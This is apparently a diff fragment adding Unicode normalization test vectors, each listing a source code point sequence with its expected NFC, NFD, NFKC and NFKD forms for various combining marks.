+{ source: [0x0061, 0x2DF7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF8, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF9, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFA, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFB, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFC, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFD, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFE, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFF, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0316, 0x302A, 0x031B, 0x302A, 0x0062], NFC: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062], NFD: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062], NFKC: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062], NFKD: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062] },
+{ source: [0x0061, 0x302A, 0x0316, 0x302A, 0x031B, 0x0062], NFC: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062], NFD: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062], NFKC: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062], NFKD: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062] },
+{ source: [0x0061, 0x0300, 0x05AE, 0x1D16D, 0x302B, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x302B, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x302B, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x302B, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x302B, 0x0300, 0x0062] },
+{ source: [0x0061, 0x302B, 0x0300, 0x05AE, 0x1D16D, 0x0062], NFC: [0x00E0, 0x1D16D, 0x302B, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x302B, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x302B, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x302B, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x302C, 0x0062], NFC: [0x00E0, 0x0315, 0x302C, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x302C, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x302C, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x302C, 0x035C, 0x0062] },
+{ source: [0x0061, 0x302C, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x302C, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x302C, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x302C, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x302C, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x302E, 0x059A, 0x0316, 0x302D, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x302D, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x302D, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x302D, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x302D, 0x302E, 0x0062] },
+{ source: [0x0061, 0x302D, 0x302E, 0x059A, 0x0316, 0x0062], NFC: [0x0061, 0x0316, 0x302D, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x302D, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x302D, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x302D, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x1D16D, 0x302E, 0x059A, 0x302E, 0x0062], NFC: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFD: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFKC: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFKD: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062] },
+{ source: [0x0061, 0x302E, 0x1D16D, 0x302E, 0x059A, 0x0062], NFC: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFD: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFKC: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFKD: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062] },
+{ source: [0x0061, 0x1D16D, 0x302E, 0x059A, 0x302F, 0x0062], NFC: [0x0061, 0x059A, 0x302E, 0x302F, 0x1D16D, 0x0062], NFD: [0x0061, 0x059A, 0x302E, 0x302F, 0x1D16D, 0x0062], NFKC: [0x0061, 0x059A, 0x302E, 0x302F, 0x1D16D, 0x0062], NFKD: [0x0061, 0x059A, 0x302E, 0x302F, 0x1D16D, 0x0062] },
+{ source: [0x0061, 0x302F, 0x1D16D, 0x302E, 0x059A, 0x0062], NFC: [0x0061, 0x059A, 0x302F, 0x302E, 0x1D16D, 0x0062], NFD: [0x0061, 0x059A, 0x302F, 0x302E, 0x1D16D, 0x0062], NFKC: [0x0061, 0x059A, 0x302F, 0x302E, 0x1D16D, 0x0062], NFKD: [0x0061, 0x059A, 0x302F, 0x302E, 0x1D16D, 0x0062] },
+{ source: [0x0061, 0x094D, 0x3099, 0x093C, 0x3099, 0x0062], NFC: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFD: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFKC: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFKD: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062] },
+{ source: [0x0061, 0x3099, 0x094D, 0x3099, 0x093C, 0x0062], NFC: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFD: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFKC: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFKD: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062] },
+{ source: [0x0061, 0x094D, 0x3099, 0x093C, 0x309A, 0x0062], NFC: [0x0061, 0x093C, 0x3099, 0x309A, 0x094D, 0x0062], NFD: [0x0061, 0x093C, 0x3099, 0x309A, 0x094D, 0x0062], NFKC: [0x0061, 0x093C, 0x3099, 0x309A, 0x094D, 0x0062], NFKD: [0x0061, 0x093C, 0x3099, 0x309A, 0x094D, 0x0062] },
+{ source: [0x0061, 0x309A, 0x094D, 0x3099, 0x093C, 0x0062], NFC: [0x0061, 0x093C, 0x309A, 0x3099, 0x094D, 0x0062], NFD: [0x0061, 0x093C, 0x309A, 0x3099, 0x094D, 0x0062], NFKC: [0x0061, 0x093C, 0x309A, 0x3099, 0x094D, 0x0062], NFKD: [0x0061, 0x093C, 0x309A, 0x3099, 0x094D, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA66F, 0x0062], NFC: [0x00E0, 0x05AE, 0xA66F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA66F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA66F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA66F, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA66F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA66F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA66F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA66F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA66F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA674, 0x0062], NFC: [0x00E0, 0x05AE, 0xA674, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA674, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA674, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA674, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA674, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA674, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA674, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA674, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA674, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA675, 0x0062], NFC: [0x00E0, 0x05AE, 0xA675, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA675, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA675, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA675, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA675, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA675, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA675, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA675, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA675, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA676, 0x0062], NFC: [0x00E0, 0x05AE, 0xA676, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA676, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA676, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA676, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA676, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA676, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA676, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA676, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA676, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA677, 0x0062], NFC: [0x00E0, 0x05AE, 0xA677, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA677, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA677, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA677, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA677, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA677, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA677, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA677, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA677, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA678, 0x0062], NFC: [0x00E0, 0x05AE, 0xA678, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA678, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA678, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA678, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA678, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA678, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA678, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA678, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA678, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA679, 0x0062], NFC: [0x00E0, 0x05AE, 0xA679, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA679, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA679, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA679, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA679, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA679, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA679, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA679, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA679, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA67A, 0x0062], NFC: [0x00E0, 0x05AE, 0xA67A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA67A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA67A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA67A, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA67A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA67A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA67A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA67A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA67A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA67B, 0x0062], NFC: [0x00E0, 0x05AE, 0xA67B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA67B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA67B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA67B, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA67B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA67B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA67B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA67B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA67B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA67C, 0x0062], NFC: [0x00E0, 0x05AE, 0xA67C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA67C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA67C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA67C, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA67C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA67C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA67C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA67C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA67C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA67D, 0x0062], NFC: [0x00E0, 0x05AE, 0xA67D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA67D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA67D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA67D, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA67D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA67D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA67D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA67D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA67D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA69E, 0x0062], NFC: [0x00E0, 0x05AE, 0xA69E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA69E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA69E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA69E, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA69E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA69E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA69E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA69E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA69E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA69F, 0x0062], NFC: [0x00E0, 0x05AE, 0xA69F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA69F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA69F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA69F, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA69F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA69F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA69F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA69F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA69F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA6F0, 0x0062], NFC: [0x00E0, 0x05AE, 0xA6F0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA6F0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA6F0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA6F0, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA6F0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA6F0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA6F0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA6F0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA6F0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA6F1, 0x0062], NFC: [0x00E0, 0x05AE, 0xA6F1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA6F1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA6F1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA6F1, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA6F1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA6F1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA6F1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA6F1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA6F1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA806, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA806, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA806, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA806, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA806, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xA806, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA806, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA806, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA806, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA806, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA82C, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA82C, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA82C, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA82C, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA82C, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xA82C, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA82C, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA82C, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA82C, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA82C, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA8C4, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA8C4, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA8C4, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA8C4, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA8C4, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xA8C4, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA8C4, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA8C4, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA8C4, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA8C4, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E0, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E0, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E0, 0x0300, 0x0315, 0x0062] },
